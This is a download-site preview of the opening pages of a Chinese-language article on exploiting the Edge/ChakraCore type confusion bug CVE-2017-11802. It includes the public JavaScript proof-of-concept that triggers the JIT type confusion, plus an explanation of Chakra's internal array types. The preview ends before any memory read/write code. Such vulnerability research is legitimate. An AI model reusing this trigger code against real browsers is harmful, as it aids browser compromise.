没有合适的资源?快使用搜索试试~ 我知道了~
Edge Type Confusion利用1
需积分: 0 0 下载量 101 浏览量
2022-08-03
12:26:13
上传
评论
收藏 1.21MB PDF 举报
温馨提示
试读
14页
介绍利用之前需要首先理解一下javascript中数组在解析引擎中的表现形式,我们知道javascript是一个弱类型的语言,其中的数组可以保存任意类型的数据。
资源详情
资源评论
资源推荐
此处
最近分析的ChakraCore的漏洞比较多,其中一个来源是project zero的公开issue。因此也有一
些心得,个人感觉去年Chakra漏洞的集中爆发点是各种的type confusion漏洞,比如Proxy特性
处理不当的、JIT优化不当的、 ImplicitCall处理不当的等等。去年11月POC2017上有一个议题
《1-Day Browser & Kernel Exploitation》正好是讲ChakraCore type confusion利用的,恰巧其
中提及的漏洞我都有调试过。
之前在调试这些漏洞时有说过要写关于这些漏洞的exp,恰巧可以以这个议题以及调试过几个
漏洞为例来说明一下利用过程。
2018-02-24 14:18:02 22099次阅读 稿费: +1000 0
分享到:
首页 文章 漏洞
SRC导航 内容精选
Edge Type Confusion利用:从type confused到内存读写 - 安... https://www.anquanke.com/post/id/98774
第1页 共14页 2018/2/26 15:13
exp代码所以细节比较模糊,此外就没有什么资料了。其实个人感觉chakra里面type confused
利用与OOB利用大同小异都是围绕DataView或者TypedArray进行的,比较不同的在于如何构造
对象能够正常读写、如何保证构造的对象不会crash的过程。
但是对于Chakra不太了解的同学可能不太容易直接通过网上现有的一些资料看懂利用的原理,
这里我比较详细的给大家分享一下操作过程。
这个漏洞利用的对象是CVE-2017-11802,这个漏洞我之前有写过分析,这里再简单描述一下
function main() {
let arr = [1.1, 1.1];
function opt(f)
{
arr[0] = 1.1;
arr[1] = 2.3023e-320 + parseInt('ab'.replace('a', f));//0x1234
return 1;
}
for (var i = 0; i < 1000; i++)
opt('b');
function exp(){
arr[0] = {};
return '0';
}
opt(exp);
//trigger exception
print(arr[1]);
}
main();
首先看一下漏洞的POC,解析引擎执行POC后会首先去循环1000次调用opt函数。因为多次调
用opt函数会进行JIT。在opt函数中调用了replace方法,replace方法会由Chakra中的
首页 文章 漏洞
SRC导航 内容精选
Edge Type Confusion利用:从type confused到内存读写 - 安... https://www.anquanke.com/post/id/98774
第2页 共14页 2018/2/26 15:13
Js::RegexHelper::StringReplace
Js::JavascriptString::DoStringReplace
Js::JavascriptString::EntryReplace
Js::JavascriptString::DelegateToRegExSymbolFunction
Js::JavascriptString::EntryReplace
当我们传入给replace方法的第二个参数不是字符串时,比如poc中最后一次调用opt函数时的
opt(exp);,就会执行第三方函数。当这个特性与JIT放到一起时就会导致一个ImplicitCall处理
不当的问题,在POC中的体现就是一个类型混淆。replace方法调用第三方函数的代码如下
JavascriptString* replace = JavascriptConversion::ToString(
replacefn->GetEntryPoint()(
replacefn,
4,
pThis,
match,
JavascriptNumber::ToVar((int)indexMatched, scriptContext),
input),
scriptContext);
介绍利用之前需要首先理解一下javascript中数组在解析引擎中的表现形式,我们知道
javascript
是一个弱类型的语言,其中的数组可以保存任意类型的数据。但是对于实际的执行来
说不能像在javascript中的那样任性,因为对于底层来说必须要搞清楚哪个是立即数哪个是字符
串哪个是指针,否则没有办法进行处理。因此javascript任性的数据类型之下必须要底层解析引
擎做更多的工作来进行弥补。在Chakra中,常见的Array分为两类一类是
JavascriptNativeArray,一类是JavascriptArray(aka. VarArray)。其中NativeArray指的是其中
存放立即数的数组因此又被分为NativeIntArray、NativeFloatArray。JavascriptArray中的元素
可以为指针,体现在javascript中就是这个Array中可以保存Object、String等,同时它也可以保
存立即数,因为JavascriptArray中可以区分指针和立即数。在这个漏洞中
let arr = [1.1, 1.1];
首页 文章 漏洞
SRC导航 内容精选
Edge Type Confusion利用:从type confused到内存读写 - 安... https://www.anquanke.com/post/id/98774
第3页 共14页 2018/2/26 15:13
剩余13页未读,继续阅读
不能汉字字母b
- 粉丝: 14
- 资源: 291
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功
评论0